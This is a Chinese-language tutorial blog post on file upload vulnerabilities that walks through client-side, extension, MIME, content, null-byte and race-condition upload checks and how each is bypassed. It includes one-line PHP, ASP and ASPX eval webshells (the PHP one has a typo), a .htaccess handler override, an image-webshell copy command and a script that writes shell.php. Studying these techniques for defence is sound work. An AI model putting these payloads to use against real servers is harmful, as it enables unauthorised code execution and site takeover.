0
点赞
收藏
分享

微信扫一扫

文件上传漏洞

沈芏 2022-03-11 阅读 88

文件上传

文件上传是现代互联网常见的功能,允许用户上传图片、视频、及其他类型文件,向用户提供的功能越多,Web受攻击的风险就越大。

文件上传漏洞

文件上传漏洞成因

文件上传漏洞的成因(复杂),一方面,Web 应用开放了文件上传功能,并且对上传的文件没有进行足够的限制;另一方面,程序开发部署时候,没有考虑到系统特性和过滤不严格;再者就是,攻击者通过Web服务器解析漏洞绕过限制,导致可以上传任意文件。

文件上传漏洞危害

文件上传利用

小马

PHP:<?php @eval($_REQUST['cmd']);?>
ASP:<%eval request("cmd")%>
ASPX:<%@ Page Language="Jscript"%>
      <%eval(Request.Item["cmd"],"unsafe";)%>

大马

之所以叫大马,是因为与小马(一句话木马)区分开,并且代码比较大,但是功能比较丰富。同样,大马有很多种脚本格式,其功能基本相同。每个团队都有自己的定制大马。

文件上传检测与绕过

客户端检测与绕过

检测原理

绕过方法

由于后端PHP代码没有对文件做任何检测,所以只要绕过前端JS的校验就可以上传WebShell。

  • 删除浏览器事件

  • 利用BurpSuite抓包修改文件后缀名

  • 构造上传表单

<form enctype="multipart/form-data" action="http://168.2.5.100/UpFileImage" method="post">  

Upload a new file:<br>  

<input type="file" name="file" size="50"><br>  

<input type="submit" value="Upload">  

</form>

服务器检测与绕过

后缀名检测与绕过

检测原理

通过函数pathinfo()获取文件后缀,将后缀转为小写后判断是不是php。

绕过方法1:黑名单–大小写绕过

绕过方法1:黑名单–名单列表绕过(黑名单之外的后缀名)

有些中间件允许解析其他文件后缀名,如asa、cer之类的或在httpd.conf配置文件中,配置如下代码,则能解析php、php3、phtml文件。所以上传一个后缀名为php3、phtml的文件即可。

绕过方法1:黑名单–Windows特性

绕过方法2:白名单

白名单绕过需要配合文件包含漏洞或解析漏洞

绕过方法3:.htaccess文件攻击

  • .htaccess文件是Apache服务器中的分布式配置文件(IIS中不存在该文件)该配置文件会覆盖Apache 服务器的全局配置,作用于当前目录及其子目录。
  • 如果一个Web 应用允许上传.htaccess 文件,那就意味着攻击者可以更改Apache的配置,这是十分危险。
  • 在httpd.conf配置文件中,AllowOverride参数就是指明Apache服务器是否去找.htacess文件作为配置文件,如果设置为none,那么服务器将忽略.htacess文件;如果设置为AⅡ,那么所有在.htaccess文件里有的指令都将被重写,即允许.htaccess文件覆盖掉Apache的配置。

  • 将内容符合php语法规则的文件当作PHP文件解析

  • 匹配文件名中的关键字

比如:当文件名[info.php.png] 中包含关键字[.php],并且.htaccess 文件内容如下,info.php.png 中的代码会被执行。

  • 匹配文件名

    <FilesMatch “sxf”>
    setHandler application/x-httpd-php

上传一个htaccess文件 可以让服务器将符合PHP语法规则的文件当作php解析

绕过方法4

结合Apache文件解析机制,从右向左开始解析文件后缀,若后缀名不可识别则继续判断直到遇到可解析的后缀为止。

MIME类型检测与绕过

文件扩展名

Mime-Type

.js

application/x-javascript

.html

text/html

.jpg

image/jpeg

.png

image/png

.pdf

application/pdf

检测原理

判断$_FILES[“file”][“type”]是不是图片格式(image/gif、image/jpeg、image/pjpeg),不是则不允许上传。在HTTP 协议中,使用Content-Type 字段表示文件的MIME 类型。 $_FILES[“file”][“type”]的值是从请求数据包中Content-Type中获取。

绕过方法

通过抓取数据请求包,上传php文件时,Content–Type值是applcation/octer-stream,上传jpg格式的文件时Content-Type值是imaag/jpeg。可修改文件类型进行绕过。

文件内容检测与绕过

检测原理

利用getimagesize()函数获取图片的宽高等信息,如果上传的不是图片,那么则获取不到信息。

文件相关信息检测

检测图像文件相关信息

文件幻数检测

  • JPG :FF D8 FF E0 00 10 4A 46 49 46
  • GIF :47 49 46 38 39 61(GIF89a)
  • PNG:89 50 4E 47

绕过方法

在脚本文件开头补充图片对应头部值,或在图片后写入脚本代码

制作图片马

  • 在图片后写入脚本代码
  • copy 1.jpg/b+1.php/a 2.jpg

参数/b指定以二进制格式复制、合并文件,用于图像类/声音类文件
参数/a指定以ASCⅡ格式复制、合并文件,用于txt等文档类文件

图片马上传的漏洞无法解析,需要配合文件解析或者文件包含漏洞

00截断检测与绕过

检测原理

截断漏洞出现的核心就是chr(0),这个字符不为空(NuⅡ),也不是空字符(" "),更不是空格。当程序在输出含有 chr(0)变量时,chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致了漏洞产生。由于00代表结束符,PHP会把00后面的所有字符删除。
截断条件:PHP版本小于5.3.4、magic_quotes_gpc 为OFF状态

GET方式

POST方式

条件竞争检测与绕过

检测原理

些网站文件检测逻辑是先允许上传任意文件,然后检查文件内容是否包含可执行脚本,如果包含则删除。这里使用sleep()函数来模拟判断是否含有脚本所需要的时间。

绕过方法

利用成功上传到删除文件的时间差,上传一个.php文件,在未删除之前立即访问,则会自动生成一个新php文件,新文件不会被删除。

<?php 
fputs(fopen('../shell.php','w'),'<?php phpinfo();?>');
?>
举报

相关推荐

0 条评论